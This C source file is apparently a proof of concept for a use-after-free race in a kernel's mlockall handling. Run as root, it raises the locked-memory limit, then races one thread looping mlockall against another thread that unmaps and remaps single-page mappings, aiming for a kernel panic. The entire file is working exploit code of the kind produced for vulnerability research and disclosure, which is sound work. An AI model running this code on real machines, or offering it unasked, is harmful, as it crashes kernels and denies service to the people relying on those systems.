/*
 * DF-0949 — sys_mlockall use-after-free PoC (v4 - heavy churn).
 *
 * Strategy: tiny entries (1 page each) + high munmap/mmap churn rate,
 * raising ulimit -l to max so mlockall(MCL_CURRENT) actually iterates
 * all entries. The race fires when munmap deletes an entry that
 * mlockall is currently inside vm_fault_wire() for.
 *
 * Run as root. mlockall is SYSCAP_RESTRICTEDROOT.
 */

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define NENTRIES   256
#define RUN_SEC    60

static size_t pg;
static void *addrs[NENTRIES];
static volatile int stop = 0;

static void *churn_thread(void *arg) {
    (void)arg;
    size_t sz = pg;
    while (!stop) {
        /* unmap then remap half the entries (small entries -> fast churn) */
        for (int i = 0; i < NENTRIES; i += 2) {
            if (addrs[i]) munmap(addrs[i], sz);
            addrs[i] = mmap(NULL, sz, PROT_READ|PROT_WRITE,
                            MAP_PRIVATE|MAP_ANON, -1, 0);
        }
    }
    return NULL;
}

static void *mlockall_thread(void *arg) {
    (void)arg;
    long ok = 0, err = 0, eagain = 0;
    while (!stop) {
        int r = mlockall(MCL_CURRENT);
        if (r == 0) ok++;
        else if (errno == EAGAIN) eagain++;
        else err++;
    }
    printf("[*] mlockall stats: ok=%ld eagain=%ld err=%ld (errno sample=%d)\n",
           ok, eagain, err, errno);
    return NULL;
}

int main(void) {
    if (getuid() != 0) {
        fprintf(stderr, "[!] DF-0949 requires root (mlockall is SYSCAP_RESTRICTEDROOT)\n");
        return 2;
    }
    pg = sysconf(_SC_PAGESIZE);

    /* Bump locked-memory limit */
    struct rlimit rl = { RLIM_INFINITY, RLIM_INFINITY };
    setrlimit(RLIMIT_MEMLOCK, &rl);

    printf("[*] DF-0949 mlockall UAF race (v4 - heavy churn)\n");
    printf("[*] %d single-page entries, run %ds\n", NENTRIES, RUN_SEC);
    printf("[*] RLIMIT_MEMLOCK: soft=%lld hard=%lld\n",
           (long long)rl.rlim_cur, (long long)rl.rlim_max);

    /* Pre-populate */
    for (int i = 0; i < NENTRIES; i++) {
        addrs[i] = mmap(NULL, pg, PROT_READ|PROT_WRITE,
                        MAP_PRIVATE|MAP_ANON, -1, 0);
        if (addrs[i] == MAP_FAILED) { perror("mmap init"); return 2; }
    }

    pthread_t t_mlock, t_churn;
    pthread_create(&t_mlock, NULL, mlockall_thread, NULL);
    pthread_create(&t_churn, NULL, churn_thread, NULL);

    printf("[*] racing for %d seconds (panic expected on vulnerable kernel)...\n", RUN_SEC);
    sleep(RUN_SEC);
    stop = 1;
    pthread_join(t_mlock, NULL);
    pthread_join(t_churn, NULL);

    printf("[+] no panic observed in this run\n");
    return 0;
}
